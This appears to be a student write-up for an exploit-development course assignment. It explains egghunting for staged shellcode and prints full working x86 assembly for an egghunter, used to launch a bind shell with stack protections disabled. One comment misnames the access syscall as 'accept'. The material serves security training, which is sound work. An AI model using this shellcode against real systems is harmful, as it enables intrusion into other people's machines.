SLAE: Staged Shellcode Payload via Egghunting
*all supporting code can be found here*
Student ID: SLAE - 1532
This assignment will see us create and examine staged shellcode containing the “Egghunting” technique.
“But Why do we need staged shellcode? Can’t we just pwn it!!?”
Sometimes the amount of space in bytes that we have control over initially is too small, so the initial payload simply goes and retrieves the second part of the payload from the attacker, C2 etc.
Egghunting expands on the above by prepending a byte sequence (egg) at the beginning of your final shellcode, so that the “whole egg” can be located in memory and executed.
Contrived example:
- we place our shellcode with the egg prepended twice in memory
- We tell the egg hunter to look for our egg, it does this by checking current memory address for our “egg” eg “0x50905090”
- If not there, move onto next memory address
- once it is located, make sure there are two instances next to each other (8bytes) to avoid finding your hunter which will obviously contain one instance of our code
- Once located, jmp to the located shellcode!
In addition to the above, an egghunter must be resilient to errors and take up minimal space.
How can we do this with code?
- We will need to make use of the access syscall in a loop, to tell whether or not a page of memory is accessible. (access syscall is perfect as it requires only one argument, and simply checks it can access memory, it does not write anything)
- If the current memory page is not accessible, we move up one memory page, using page_align
- If the memory IS accessible, we will look for our prepended egg by comparing the pointer with our egg
How does page align work?
Consider the below binary values, and remember how the bitwise operand or works.
Any value lower than 4095 will become 4095 when or’ing it, and after we increment by 1 (making it 4096) and or again, we will get 8191. When we increment THAT and or again, we get 12287. This makes perfect sense as we look at the binary values below, keeping or in mind.
4095 = 0000 1111 1111 1111
4096 = 0001 0000 0000 0000
8191 = 0001 1111 1111 1111
8192 = 0010 0000 0000 0000
12287 = 0010 1111 1111 1111
How DO we do this with code?
global _start
section .text
_start:
; lay our egg
xor ebx, ebx
xor ecx, ecx
mov ebx, 0x50905090 ; egg
mul ecx ; this one instruction sets both eax and edx to 0, this is because mul results are stored in EAX and EDX
; build page_align
page_align:
or dx, 0xfff ; set dx to 4095, 4096 contains nulls!!
; build next_addr
next_addr:
inc edx ; as explained above, necessary to move forward after or operation, to a multiple of 4096
pushad ; push all registers onto the stack to preserve them during syscall
lea ebx, [edx+4] ; point to path being validated
mov al, 33 ; mov syscall value for accept
int 0x80
cmp al, 0xf2 ; after we interrupt, check if the return value that of EFAULT
popad ; return the registers we preserved earlier
je page_align ; if EFAULT present jump to page_align
cmp [edx], ebx ; see if our egg is inside address of edx
jne next_addr ; egg not inside? jump to address_check, otherwise continue
cmp [edx+4], ebx ; perform second check to vet out our hunter from result]
jne next_addr ; second egg not inside? jump to address_check, otherwise execute
jmp edx ; jump to past where we found the egg and execute code
We test out our egg hunter by modifying the c code from our previous assignments, and simply add another variable that contains our egghunter and change the return argument from the shellcode to our egghunter, so the value is stored in memory but never called directly.
Here is a copy of the code, we compile with gcc -fno-stack-protector -z execstack shellcode.c -o shell
As below, testing with shellcode gives us a shell:
Something very, very cool about this compiled binary: if we run strace
on it, we can see it smashing through the addresses until it hits our egg, builds our socket, dups the fds and sends the shell!
We will modify our previously built shellcode wrapper to allow for multiple payloads, as below we spin up a BIND shell and successfully connect:
Egg hunt complete!!